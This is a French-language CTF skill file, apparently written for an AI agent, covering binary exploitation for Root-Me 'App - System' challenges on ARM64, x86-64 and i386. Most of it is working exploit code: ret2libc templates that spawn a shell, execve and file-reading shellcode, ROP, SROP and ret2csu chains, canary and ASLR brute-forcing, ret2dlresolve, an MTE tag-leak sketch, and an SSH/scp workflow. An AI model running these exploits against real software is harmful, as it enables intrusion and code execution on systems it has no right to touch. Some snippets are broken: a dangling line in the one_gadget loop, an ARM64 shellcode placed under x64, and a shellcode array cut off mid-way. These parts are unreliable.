CTF App-System (Root-Me)
Skill spécialisé pour les challenges Root-Me de la catégorie App - System, accessibles via SSH. La difficulté principale : pas de GDB interactif sur le serveur, pas de pwntools installé, exploit développé localement puis transféré.
Ressources complémentaires
- rootme-ssh.md — Workflow SSH Root-Me : connexion, fingerprint libc (libc.rip API), transfert exploit, patchelf, one_gadget remote, DynELF
- elf-x86.md — ELF 32-bit : cdecl (args sur pile), ret2libc 32-bit, shellcode i386,
int 0x80syscalls, ret2dlresolve x86, format string 32-bit, ASLR brute-force, race condition TOCTOU - elf-x64.md — ELF 64-bit : System V AMD64 (rdi/rsi/rdx), ret2csu, PIE+ASLR bypass, canary leak/brute, stack alignment fix, GOT overwrite, one_gadget, BROP, seccomp ORW, leakless heap techniques
- elf-arm64.md — ARM64/AArch64 : AAPCS64 (x0-x7/LR=x30), LR overwrite, JOP vs ROP, PAC bypass (QEMU NOP), TikTag MTE bypass (2024), SROP ARM64, QEMU local testing, gadget rareté
- winkern-x64.md — Windows Kernel x64 : token stealing (_EPROCESS offsets), PreviousMode write (CVE-2024-21338), pool overflow, IOCTL AAR/AAW, Segment Heap, Handle Table, SMEP bypass, Windows 11 VBS/HVCI/CFG mitigations, driver IDA analysis
Pattern Recognition Index
Dispatch on observable binary/remote signals, not the Root-Me challenge number.
| Signal | Technique → file |
|---|---|
readelf -h → ELFCLASS32, EM_386; args on stack |
i386 cdecl ret2libc / int 0x80 shellcode → elf-x86.md |
| ELFCLASS64 EM_X86_64, stack buffer overflow, libc present | ret2libc + ret2csu + rdi gadget → elf-x64.md |
| ELFCLASS64 EM_AARCH64 | AAPCS64 LR overwrite / JOP → elf-arm64.md |
Binary with BTI + PAC symbols (paciasp, autiasp) |
PAC bypass / TikTag MTE leak → elf-arm64.md |
PE64 driver (.sys) + IOCTL handlers |
Token stealing / PreviousMode → winkern-x64.md |
Remote only (no local binary), forking accept loop, long timeout |
BROP from scratch → elf-x64.md (cross-ref ctf-pwn/brop.md) |
| SSH-only shell, no GDB / no pwntools on server | libc.rip fingerprint + patchelf local → rootme-ssh.md |
Seccomp filter denies execve but allows open/read/write |
ORW ROP chain → elf-x64.md |
| FSOP primitive reachable + glibc ≥ 2.35 | FSOPAgain → elf-x64.md |
| Heap primitive + glibc 2.32–2.39 | House of Rust/Water/Tangerine → elf-x64.md (cross-ref ctf-pwn/heap-leakless.md) |
Windows kernel pool grooming + SeDebugPrivilege target |
Segment Heap + Handle Table primitives → winkern-x64.md |
Recognize the mechanic, not the Root-Me title.
For inline snippets and quick-reference tables, see quickref.md. The Pattern Recognition Index above is the dispatch table — always consult it first.
CTF App-System — ELF ARM64 / AArch64
Spécificités ARM64 critiques
Convention d'appel ARM64 (AAPCS64)
Registres arguments : x0, x1, x2, x3, x4, x5, x6, x7
Valeur de retour : x0 (x0:x1 pour 128-bit)
Link Register : x30 (LR) — adresse de retour
Frame Pointer : x29 (FP)
Stack Pointer : sp (aligné à 16 bytes OBLIGATOIRE)
Scratch registers : x8-x18 (caller-saved)
Preserved registers : x19-x28, x29, x30 (callee-saved)
DIFFÉRENCE MAJEURE : Le ret en ARM64 saute vers x30 (LR), pas vers la pile.
L'adresse de retour est souvent sauvegardée sur la pile par le prologue.
Prologue/Epilogue ARM64 typiques
; Prologue : sauvegarde LR et FP
stp x29, x30, [sp, #-0x20]! ; push {fp, lr}; sp -= 0x20
mov x29, sp
; Corps de la fonction
...
; Epilogue : restaure et retourne
ldp x29, x30, [sp], #0x20 ; pop {fp, lr}; sp += 0x20
ret ; jump to x30
; Si overflow du buffer : overwrite x30 (LR) sauvegardé sur la pile
Layout pile ARM64
[ local vars ] ← sp (aligné 16)
[ x29 (FP) ] ← sp + buffer_size
[ x30 (LR) ] ← sp + buffer_size + 8 ← TARGET (overwrite return addr)
Offset = taille_buffer → overwrite x30 (pas de "saved rbp" séparé comme x86)
Trouver l'offset ARM64
# GDB avec pwndbg en local (QEMU + ARM64 chroot ou machine ARM)
# Ou cross-compiler pour test
# Méthode 1 : cyclic + crash
python3 -c "from pwn import *; context.arch='aarch64'; sys.stdout.buffer.write(cyclic(200))" \
| ./challenge
# Dans gdb-multiarch : info registers x30 → valeur corrompue
# Méthode 2 : QEMU user-mode
qemu-aarch64 -g 1234 ./challenge &
gdb-multiarch -ex "set arch aarch64" -ex "target remote :1234" ./challenge
# Méthode 3 : static analysis
objdump -d ./challenge | grep -A3 "sub.*sp"
# Chercher : stp x29, x30, [sp, #-N]!
# → offset = N - 0 (x30 est à sp+8 après le stp)
# → payload = b'A'*N + p64(target_addr) → overwrite x30
Test local ARM64 avec QEMU
# Installation
sudo apt install qemu-user-static gcc-aarch64-linux-gnu gdb-multiarch
# Exécuter un binaire ARM64 directement (avec libc ARM64)
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./challenge
# Debug avec GDB
qemu-aarch64-static -g 1234 -L /usr/aarch64-linux-gnu ./challenge &
gdb-multiarch ./challenge -ex "target remote :1234"
# pwntools avec QEMU automatique
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
io = process(['qemu-aarch64-static', '-L', '/usr/aarch64-linux-gnu', './challenge'])
ROP ARM64 : rareté des gadgets
Problème : ARM64 a des instructions de taille fixe (4 bytes), ce qui limite drastiquement les gadgets par rapport à x86. Les gadgets ret sont rares car ARM64 utilise br x30 ou ret.
# Trouver les gadgets ARM64
ROPgadget --binary ./challenge --rop --arch aarch64
# Ou ropper
ropper -f ./challenge --arch AARCH64
# Gadgets essentiels à chercher
# ldr x0, [sp, #N]; ldp x29, x30, [sp, #M]; ret ← charger x0 depuis pile
# blr x0 ← call indirect via registre (JOP)
# ldp xN, xM, [sp, #N]!; ret ← pop multiple registers
JOP (Jump-Oriented Programming) ARM64
JOP = alternative à ROP sur ARM64 quand ret gadgets manquent. Utilise br xN ou blr xN (call via registre) pour chaîner les gadgets.
# Schéma JOP typique :
# Gadget dispatcher : charge xN depuis la pile → br xN
# Chaque gadget : effectue action → charge prochain gadget → br xN
# Exemple avec gadget "ldr x0, [x1]; br x2"
# x1 = adresse de la valeur à charger dans x0
# x2 = adresse du prochain gadget
ret2libc ARM64
from pwn import *
context.arch = 'aarch64'
elf = ELF('./challenge')
libc = ELF('./libc.so.6') # libc ARM64
# Gadgets ARM64 (trouver avec ROPgadget)
# Chercher : "ldr x0, [sp, ...]; ... ret" ou "ldp x0, ...; ret"
pop_x0 = ... # gadget qui met [sp+N] dans x0 puis ret
offset = 72 # à ajuster
# === Stage 1 : Leak puts@GOT ===
payload = b'A' * offset
# ARM64 : x0 = arg1 → mettre puts@GOT dans x0
payload += p64(pop_x0)
payload += p64(elf.got['puts']) # valeur pour x0
payload += p64(elf.plt['puts']) # call puts
payload += p64(elf.symbols['main']) # retour
io.sendline(payload)
puts_leak = u64(io.recvn(8))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# === Stage 2 : system("/bin/sh") ===
payload2 = b'A' * offset
payload2 += p64(pop_x0) + p64(binsh)
payload2 += p64(system)
io.sendline(payload2)
io.interactive()
Shellcode ARM64
from pwn import *
context.arch = 'aarch64'
# Shellcode execve("/bin/sh", NULL, NULL)
shellcode = asm(shellcraft.aarch64.linux.sh())
# Ou shellcode manuel ARM64
shellcode = asm('''
/* execve("/bin/sh", NULL, NULL) */
mov x8, #221 /* __NR_execve = 221 */
adr x0, binsh
mov x1, #0
mov x2, #0
svc #0
binsh: .asciz "/bin/sh"
''')
Pointer Authentication (PAC) bypass
# PAC = Pointer Authentication Codes
# Présent sur hardware Apple M1/M2, certains serveurs ARM modernes
# Root-Me challenges : généralement pas de PAC (émulé sous QEMU sans PAC)
# Vérifier si PAC est actif
# Dans le binaire : chercher "pacibsp", "autibsp", "pacia", "autia"
objdump -d ./challenge | grep -E "pac|aut"
# Si QEMU sans PAC extension : les instructions PAC sont NOP → exploit normal
# Si PAC actif : besoin d'oracle pour signer les pointeurs
# Pour Root-Me : vérifier le flag dans qemu-aarch64-static
qemu-aarch64-static -cpu max ./challenge
# "max" inclut toutes les extensions mais émule sans vrai PAC enforcement
Gadgets ARM64 courants dans libc
# Chercher dans libc ARM64 (souvent plus de gadgets)
ROPgadget --binary ./libc.so.6 --rop --arch aarch64 | grep "pop {x0}"
ropper -f ./libc.so.6 --arch AARCH64 | grep "ldr x0"
# Gadgets typiquement trouvables dans libc ARM64
# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret
# → Parfait pour charger x0 (arg1) depuis la pile
Numéros de syscalls ARM64
__NR_read = 63
__NR_write = 64
__NR_openat = 56
__NR_close = 57
__NR_execve = 221
__NR_exit = 93
__NR_mmap = 222
__NR_mprotect = 226
__NR_brk = 214
__NR_rt_sigreturn = 139
# Syscall en ARM64
payload = asm('''
mov x8, 221 ; __NR_execve
adr x0, sh_str
mov x1, xzr
mov x2, xzr
svc 0
sh_str: .ascii "/bin/sh\x00"
''')
TikTag — MTE Bypass via Speculative Execution (2024)
Source : github.com/compsec-snu/tiktag | IEEE S&P 2025
Impact : Bypass hardware Memory Tagging Extension (MTE) via branch predictor / store-to-load forwarding
Contexte CTF : Challenges ARM64 avec MTE activé (Pixel 8, serveurs modernes)
# Vérifier si MTE est actif dans le challenge
objdump -d ./challenge | grep -E "stg|ldg|irg|addg|subg|gmi"
# stg = store tag, ldg = load tag, irg = insert random tag
# Si MTE présent dans QEMU :
qemu-aarch64-static -cpu max,mte=on ./challenge
# TikTag-v1 : branch predictor side-channel
# Mesurer le temps d'accès après une prédiction de branche
# Un accès avec le mauvais tag cause une exception → timing différent
# TikTag-v2 : store-to-load forwarding
# CPU forward depuis un store avec tag invalide vers un load → leak du tag
# Les deux variantes ont 95%+ de succès sur Pixel 8 hardware
// Concept TikTag (simplifié pour CTF)
// Pour chaque tag possible (0-15), tenter un accès et mesurer le timing
// Le bon tag cause un hit, les mauvais causent des exceptions (plus lents)
#include <time.h>
#include <signal.h>
volatile int tag_found = 0;
volatile uint8_t correct_tag = 0;
void sigsegv_handler(int sig) {
// Exception MTE → mauvais tag, continuer
longjmp(env, 1);
}
uint8_t leak_mte_tag(void *tagged_ptr) {
signal(SIGSEGV, sigsegv_handler);
for (uint8_t tag = 0; tag < 16; tag++) {
// Forger un pointeur avec le tag testé
void *test_ptr = (void*)((uintptr_t)tagged_ptr | ((uintptr_t)tag << 56));
if (setjmp(env) == 0) {
struct timespec start, end;
clock_gettime(CLOCK_MONOTONIC, &start);
volatile char val = *(char*)test_ptr; // Accès MTE
clock_gettime(CLOCK_MONOTONIC, &end);
uint64_t elapsed = (end.tv_nsec - start.tv_nsec);
if (elapsed < THRESHOLD_NS) {
return tag; // Hit → bon tag
}
}
// Exception → mauvais tag, essayer le suivant
}
return 0; // Pas trouvé
}
Pour Root-Me ARM64 avec MTE :
- La plupart des challenges Root-Me n'ont pas MTE (QEMU sans MTE par défaut)
- Vérifier :
cat /proc/cpuinfo | grep mtesur le serveur - Si MTE absent → exploit normal sans tag bruteforce
SROP (Sigreturn-Oriented Programming) ARM64
from pwn import *
context.arch = 'aarch64'
# SROP ARM64 : moins courant qu'en x86 mais possible
# Gadget nécessaire : mov x8, #139 (rt_sigreturn); svc 0
# x8 = 139 = __NR_rt_sigreturn pour ARM64
# Trouver le gadget rt_sigreturn
# Souvent dans la libc ou dans le binaire
# Construire le SigreturnFrame
frame = SigreturnFrame(arch='aarch64')
frame.x0 = 0 # arg1 pour execve
frame.x8 = 221 # __NR_execve
frame.sp = binsh_addr # pas utilisé ici
frame.pc = syscall_gadget # adresse d'une instruction svc #0
# Le payload déclenche sigreturn avec notre frame
payload = b'A' * offset
payload += p64(sigreturn_gadget) # mov x8, 139; svc 0
payload += bytes(frame)
Debugging ARM64 remote (Root-Me SSH)
# Sur le serveur Root-Me ARM64 :
# 1. Vérifier l'architecture
file ./challenge # → ELF 64-bit LSB executable, ARM aarch64
# 2. Vérifier les tools disponibles
which gdb # rarement présent
which python3 # souvent présent
# 3. QEMU peut être utilisé localement pour debug
# Télécharger le binaire
scp -P 2222 user@host:~/challenge ./
# 4. Tester avec la bonne libc
scp -P 2222 user@host:/lib/aarch64-linux-gnu/libc.so.6 ./libc_arm64.so.6
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./challenge
# Ou avec patchelf
Template exploit ARM64 complet
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'info'
elf = ELF('./challenge')
libc = ELF('./libc_arm64.so.6')
rop = ROP(elf)
LOCAL = True
if LOCAL:
io = process(['qemu-aarch64-static', '-L', '/usr/aarch64-linux-gnu', './challenge'])
else:
shell = ssh('user', 'challenge.root-me.org', port=2222, password='...')
io = shell.process('./challenge')
offset = 72 # À déterminer avec cyclic
# Gadgets
# Chercher avec ROPgadget --binary ./challenge --binary ./libc_arm64.so.6
pop_x0 = 0x... # ldr x0, ...; ret ou équivalent
# Exploit
payload = flat([
b'A' * offset,
pop_x0,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main'],
])
io.sendlineafter(b'> ', payload)
leak = u64(io.recvn(8))
libc.address = leak - libc.sym['puts']
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
payload2 = flat([
b'A' * offset,
pop_x0,
binsh,
system,
])
io.sendlineafter(b'> ', payload2)
io.interactive()
CTF App-System — ELF x64 (64-bit)
Convention d'appel System V AMD64
Registres pour les arguments :
rdi → arg1
rsi → arg2
rdx → arg3
rcx → arg4
r8 → arg5
r9 → arg6
Reste → sur la pile
Valeur de retour : rax
Registres sauvegardés par l'appelé : rbx, rbp, r12-r15
Implication ROP : pour appeler system("/bin/sh"), besoin de pop rdi; ret pour mettre /bin/sh dans rdi.
Stack layout 64-bit
[ arg7+... ] ← si plus de 6 args
[ ret addr ] ← rsp+0 (← RIP overwrite)
[ saved rbp] ← rbp
[ local vars]
[ buffer ] ← rbp-N
Offset = N + 8 (saved RBP) → overwrite return address.
Stack alignment critique (SIGSEGV dans movaps)
# PROBLÈME : glibc utilise SSE (movaps) qui requiert alignement 16 bytes
# SYMPTÔME : crash dans system() ou printf() mais pas dans overflow
# SOLUTION : ajouter un gadget `ret` avant l'appel
ret_gadget = elf.address + 0x... # ROPgadget --binary ./ch | grep ": ret$"
payload = b'A' * offset + p64(ret_gadget) + p64(pop_rdi) + p64(binsh) + p64(system)
# ↑ alignment fix
ret2libc 64-bit complet
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
rop = ROP(elf)
context.arch = 'amd64'
# Gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
offset = 72 # cyclic_find(crash_val)
# === Stage 1 : Leak puts@GOT ===
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main']) # retour pour stage 2
io.sendlineafter(b'> ', payload)
puts_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# === Stage 2 : system("/bin/sh") ===
payload2 = b'A' * offset
payload2 += p64(ret) # alignment
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
io.sendlineafter(b'> ', payload2)
io.interactive()
Contrôler rsi et rdx (3 arguments)
# ROPgadget pour contrôler rsi, rdx
# pop rsi; pop r15; ret (classique dans __libc_csu_init)
# pop rdx; pop rbx; ret (souvent dans libc)
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx_rbx = libc_base + 0x... # depuis libc
# 3-arg call : open(filename, flags, mode)
payload += p64(pop_rdi) + p64(filename_addr)
payload += p64(pop_rsi_r15) + p64(O_RDONLY) + p64(0) # r15 = junk
payload += p64(pop_rdx_rbx) + p64(0) + p64(0) # mode + junk
payload += p64(open_addr)
ret2csu (quand gadgets manquent)
# __libc_csu_init contient deux blocs de gadgets universels :
# Gadget A (fin de boucle) :
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# Gadget B (dans la boucle) :
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12 + rbx*8]
# Trouver les offsets
elf.symbols['__libc_csu_init']
# Gadget A = csu + 0x5a (souvent), Gadget B = csu + 0x40
def ret2csu(func_got_ptr, arg1=0, arg2=0, arg3=0, ret_addr=None):
"""Appel une fonction avec 3 arguments via __libc_csu_init"""
csu_end = elf.symbols['__libc_csu_init'] + 0x5a # pop rbx...
csu_mid = elf.symbols['__libc_csu_init'] + 0x40 # mov rdx,r15...
chain = p64(csu_end)
chain += p64(0) # rbx = 0 (pour call [r12+0])
chain += p64(1) # rbp = 1 (condition boucle)
chain += p64(func_got_ptr) # r12 → fonction à appeler
chain += p64(arg1) # r13 → edi (arg1, 32-bit!)
chain += p64(arg2) # r14 → rsi (arg2)
chain += p64(arg3) # r15 → rdx (arg3)
chain += p64(csu_mid) # retour vers le milieu de csu
# 7 * p64(0) pour les registres pop après la boucle
chain += p64(0) * 7
if ret_addr:
chain += p64(ret_addr)
return chain
PIE bypass
# PIE = Position Independent Executable : toutes les adresses randomisées
# Méthode 1 : leak via format string
payload = b'%p.' * 30 # Trouver une adresse du binaire sur la pile
# Identifier l'adresse (se termine généralement en adresse connue)
# Soustrait l'offset pour trouver la base PIE
# Méthode 2 : partial overwrite (quand canary absent)
# Seuls les 12 bits de poids faible sont fixes (alignement page)
# Overwrite seulement les 2 derniers octets du RIP
payload = b'A' * offset + p16(0x1234) # 50% chance avec 1 nibble aléatoire
# Méthode 3 : information disclosure via format string
# leak PIE base : adresse retour dans main visible sur la pile
# Souvent : stack[offset] - (main+N) = PIE_base
Canary leak et bypass
# Méthode 1 : format string leak
# Canary est sur la pile, trouve son offset avec %N$p
# Généralement finit par \x00 (null byte)
for i in range(1, 50):
io.sendline(f'%{i}$016lx'.encode())
val = int(io.recvline().strip(), 16)
if val & 0xff == 0: # Canary commence par \x00
print(f"Canary à la position {i}: {hex(val)}")
# Méthode 2 : brute-force byte par byte (serveur forking)
canary = b'\x00' # 1er byte toujours nul
for idx in range(1, 8): # 7 bytes restants
for byte in range(256):
# Envoyer : buffer_size + bytes_du_canary + byte_test
payload = b'A' * offset + canary + bytes([byte])
# Si pas de "stack smashing detected" → byte correct
...
canary += bytes([found_byte])
# Utilisation du canary leaké dans le payload
payload = b'A' * canary_offset + canary + p64(0) # saved rbp
payload += p64(pop_rdi) + p64(binsh) + p64(system)
GOT overwrite (Partial RELRO)
# Overwrite une entrée GOT pour rediriger un appel de fonction
# Nécessite : Partial RELRO (GOT writable) + pas de PIE ou PIE leaké
target_got = elf.got['exit'] # ou 'puts', 'printf', etc.
win_func = elf.symbols['win'] # ou system
# Via format string (méthode principale)
from pwn import fmtstr_payload
payload = fmtstr_payload(fmt_offset, {target_got: win_func}, write_size='short')
# Via overflow direct (si adresse fixe)
# Écrire win_func à l'adresse target_got
one_gadget (shell direct sans args)
from pwn import *
import subprocess
# Trouver les gadgets
result = subprocess.check_output(['one_gadget', 'libc.so.6']).decode()
# → 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
# → 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
# Tester chaque gadget
for offset in [0x4f2a5, 0x4f302, 0xe6c7e]:
+ offset
payload = b'A' * padding + p64(one_gadget)
# Si les contraintes sont satisfaites → shell direct
Techniques avancées x64
Stack pivot (overflow limité)
# Quand overflow < 16 bytes (seulement RBP + RIP)
# Pattern : overwrite RBP → zone contrôlée, RIP → leave;ret
leave_ret = rop.find_gadget(['leave', 'ret'])[0]
fake_stack = elf.bss() + 0x100 # Zone BSS contrôlable
# Stage 1 : pivot vers BSS
payload = b'A' * (offset - 8) + p64(fake_stack) + p64(leave_ret)
# Stage 2 : ROP chain en BSS (lire via read() par ex)
Format string → leak multiple (PIE + canary + libc)
# Un seul format string pour leaker tout
# Chercher sur la pile : adresse libc, adresse binaire, canary
payload = b'%p.' * 50
io.sendline(payload)
leaks = io.recvline().decode().split('.')
# Analyser chaque valeur :
# - libc : commence par 0x7f
# - canary : termine par \x00 (visible comme 0x...XX00)
# - PIE : offset connu par rapport à sections
for i, leak in enumerate(leaks):
val = int(leak, 16) if leak.startswith('0x') else 0
if val > 0x7f0000000000: print(f"[{i}] Possible libc: {hex(val)}")
if val & 0xff == 0: print(f"[{i}] Possible canary: {hex(val)}")
Heap leak pour tcache poison
# tcache poisoning (glibc 2.26-2.31)
# safe-linking (glibc 2.32+) : fd = ptr ^ (chunk_addr >> 12)
# Leak heap address via UAF
io.sendline(b'1') # alloc
io.sendline(b'3') # free (sans null)
io.sendline(b'2') # view → affiche fd du chunk free = heap addr
heap_addr = u64(io.recvn(8))
# glibc 2.32+ : fd = ptr ^ (addr >> 12)
# Pour décoder : heap_key = heap_addr >> 12
# fd_mangled = target_addr ^ heap_key
# tcache poison : allouer 2 chunks, free les 2, overwrite fd du 2ème
BROP (Blind ROP) — serveur SSH sans binaire
# Si le binaire n'est PAS disponible en téléchargement mais accessible via SSH
# Utiliser BROP pour construire l'exploit depuis zéro
# Étape 1 : canary leak byte par byte (serveur forking)
# Étape 2 : stop gadget (adresse qui ne crashe pas)
# Étape 3 : BROP gadget (pop 6 registres) → pop_rdi = brop + 9
# Étape 4 : PLT scanner → trouver puts()
# Étape 5 : puts(pie_base) → dump du binaire
# Étape 6 : Exploit classique sur le binaire dumpé
# Voir ctf-pwn/brop.md pour implémentation complète
# Pour Root-Me SSH : le binaire est souvent DISPONIBLE dans ~/
# → Télécharger via scp avant de tenter BROP
scp -P 2222 user@host:~/challenge ./
Seccomp + ROP (glibc 2.38+)
from pwn import *
# Vérifier les règles seccomp du challenge
# (après connexion SSH ou en local)
seccomp_dump = subprocess.check_output(['seccomp-tools', 'dump', './challenge'])
# Ou en live :
# seccomp-tools dump ./challenge
# Syscalls souvent bloqués : execve, execveat
# Syscalls souvent autorisés : open/openat, read, write, mmap
# Stratégie ORW (Open-Read-Write) quand execve bloqué
from pwn import *
# Shellcode ORW
ORW = asm(f'''
/* openat(AT_FDCWD, "/challenge/.passwd", O_RDONLY) */
mov x8, #56 /* __NR_openat */
mov x0, #-100 /* AT_FDCWD */
adr x1, flag_path
mov x2, #0 /* O_RDONLY */
mov x3, #0
svc #0
/* read(fd, buf, 0x100) */
mov x1, x0 /* fd retourné */
mov x8, #63 /* __NR_read */
mov x0, x1
mov x1, sp /* buf = stack */
mov x2, #0x100
svc #0
/* write(1, buf, bytes_read) */
mov x8, #64 /* __NR_write */
mov x1, #1
/* x1 = stdout */
svc #0
flag_path: .ascii "/challenge/.passwd\\0"
''', arch='aarch64')
Leakless x64 pour Root-Me
# Quand ASLR + PIE + Full RELRO : besoin de leaks
# Mais si le binaire a une vulnérabilité heap ET glibc >= 2.32 :
# Utiliser les techniques leakless (voir ctf-pwn/heap-leakless.md)
# Sur Root-Me : la libc du serveur est souvent identifiable
# 1. Se connecter et noter la version
# 2. Télécharger la libc
# 3. Utiliser les techniques adaptées à cette version
# Workflow adaptatif selon glibc :
def choose_heap_technique(libc_version):
if libc_version < (2, 26):
return "fastbin_dup" # Pas de tcache
elif libc_version < (2, 32):
return "tcache_poison" # tcache sans safe-linking
elif libc_version < (2, 34):
return "tcache_safe_linking" # Besoin du heap key
elif libc_version < (2, 39):
return "house_of_water" # tcache_perthread_struct
else:
return "house_of_tangerine" # malloc-only AAW
Commandes de recon x64
# Trouver l'offset de puts dans libc (pour calculer libc_base)
readelf -s ./libc.so.6 | grep " puts"
# → 000000000007faa0 ... FUNC GLOBAL DEFAULT 15 puts@@GLIBC_2.2.5
# Trouver /bin/sh dans libc
strings -a -t x ./libc.so.6 | grep "/bin/sh"
# → 1b45bd /bin/sh
# ROPgadget
ROPgadget --binary ./challenge --rop | grep "pop rdi"
ROPgadget --binary ./libc.so.6 --rop | grep "pop rdx"
# pwntools rop
python3 -c "
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
print(rop.dump())
"
CTF App-System — ELF x86 (32-bit)
Spécificités 32-bit vs 64-bit
| Aspect | x86 32-bit | x86-64 |
|---|---|---|
| Convention d'appel | cdecl : args sur la pile | Registres rdi, rsi, rdx... |
| Adresses | 4 octets (0x08048xxx) | 8 octets (0x55..., 0x7f...) |
| Syscalls | int 0x80, eax=numéro |
syscall, rax=numéro |
| ASLR | 8-bit d'entropie (stack) | 28-bit (plus difficile à bruteforcer) |
| ret2libc | system(addr_binsh) simplifié | Besoin de gadgets pop rdi/ret |
| Shellcode | Facile (i386) | NX rend nécessaire ROP |
Stack layout 32-bit
[ arg2 ] ← esp+8 après call
[ arg1 ] ← esp+4
[ return addr] ← esp+0 (← RIP overwrite ici)
[ saved ebp ] ← ebp
[ local vars ]
[ buffer ] ← ebp-N
Offset = N (taille buffer) + 4 (saved EBP) → overwrite return address.
ret2libc 32-bit (le plus fréquent sur Root-Me)
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
# Adresses fixes si pas de PIE (classique Root-Me x86)
system_plt = elf.plt['system'] # si dans PLT
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# === Stage 1 : leak libc via puts(puts@GOT) ===
offset = 76 # buffer + saved_ebp
payload = b'A' * offset
payload += p32(puts_plt) # call puts
payload += p32(elf.symbols['main']) # return après puts (stage 2)
payload += p32(puts_got) # arg1 : adresse à leaker
io.sendline(payload)
puts_leak = u32(io.recv(4))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# === Stage 2 : system("/bin/sh") ===
payload2 = b'A' * offset
payload2 += p32(system) # call system
payload2 += p32(0xdeadbeef) # return address (peu importe)
payload2 += p32(binsh) # arg1 : "/bin/sh"
io.sendline(payload2)
io.interactive()
ret2win 32-bit (pas de leak requis)
# Trouver la win function
elf = ELF('./challenge')
win = elf.symbols['win'] # ou 'flag', 'backdoor', etc.
offset = 76
payload = b'A' * offset + p32(win)
ret2libc sans leak (quand PIE désactivé)
# Si PIE désactivé : adresses fixes dans le binaire
# Chercher /bin/sh dans le binaire lui-même
binsh_addr = next(elf.search(b'/bin/sh\x00'))
# Chercher system dans PLT ou libc avec adresse connue
# ROPgadget --binary ./challenge --string "/bin/sh"
Shellcode 32-bit (quand NX désactivé)
from pwn import *
context.arch = 'i386'
shellcode = asm(shellcraft.sh()) # shellcode i386 minimal
# Stack shellcode : overflow → RET = adresse du shellcode sur la pile
offset = 64
# Trouver l'adresse de la pile : via leak ou via NOP sled
nop_sled = b'\x90' * 100
payload = nop_sled + shellcode + b'A' * (offset - len(nop_sled) - len(shellcode))
payload += p32(stack_addr) # adresse dans le NOP sled
Format string 32-bit
# Leak de la pile : les arguments sont à partir du 1er paramètre positionnel
# En 32-bit, les args format string SONT sur la pile directement
# Trouver son offset sur la pile
for i in range(1, 30):
io.sendline(f'%{i}$x'.encode())
print(i, io.recvline())
# Écrire en 32-bit : cible = adresse 4 octets
# %<val>c%<N>$n écrit <val> à l'adresse N sur la pile
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {got_addr: target_addr})
# offset = position de notre input sur la pile (trouver avec %N$x == 0x41414141)
Trouver l'offset de l'overflow
# Méthode 1 : cyclic pattern
python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./challenge
# Voir le crash : dmesg | tail ou gdb
# Méthode 2 : GDB local
gdb ./challenge
run <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")
# Après crash : x/x $eip → valeur EIP corrompue
python3 -c "from pwn import *; print(cyclic_find(0x61616164))"
# Méthode 3 : binary search manuelle
python3 -c "print('A'*76 + 'BBBB')" | ./challenge # EIP = 0x42424242 ?
ret2dlresolve 32-bit (sans libc leak)
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
# Créer payload ret2dlresolve
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr, len(dlresolve.payload))
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
offset = 76
payload = fit({offset: raw_rop}, length=offset+len(raw_rop))
io.sendline(payload)
io.send(dlresolve.payload)
io.interactive()
Techniques de bypass 32-bit
ASLR Brute-force (32-bit seulement)
# En 32-bit, seulement ~256 valeurs possibles pour l'adresse de base de la pile
# Brute-force possible sur serveur forking
for i in range(256):
io = process('./challenge')
# Tenter avec adresse fixe supposée
payload = b'A' * offset + p32(stack_guess)
io.sendline(payload)
try:
io.recv(timeout=0.5)
print("SUCCESS!")
io.interactive()
break
except:
io.close()
ASLR par-processus sur Root-Me (piège critique)
Symptôme : le scan trouve l'adresse du buffer, mais l'exploit échoue à chaque fois.
Cause : Sur les serveurs Root-Me, setarch i386 -R ne désactive PAS entièrement l'ASLR de la pile. L'adresse du buffer est re-randomisée à chaque exécution du binaire (entropie ~1,6 Mo observée). Même au sein d'un même script bash, chaque subprocess.run() ou fork donne une adresse différente.
Règle absolue : Scan et exploit doivent se produire dans le même processus. Ne jamais chercher l'adresse dans un appel et l'exploiter dans un autre.
Solution : shellcode combiné scan+exploit
# Shellcode qui fait TOUT en une seule exécution :
# 1. Écrit ESP sur stdout (preuve d'exécution + adresse)
# 2. Ouvre le fichier flag
# 3. Lit le flag
# 4. Écrit le flag sur stdout
# 5. Exit
# i386, 32-bit, syscalls int 0x80
sc = bytes([
# Part 1 : écrire ESP (4 octets) sur stdout
0x54, # push esp
0x89, 0xe1, # mov ecx, esp (pointe vers la valeur ESP empilée)
0x6a, 0x04, 0x5a, # push 4; pop edx
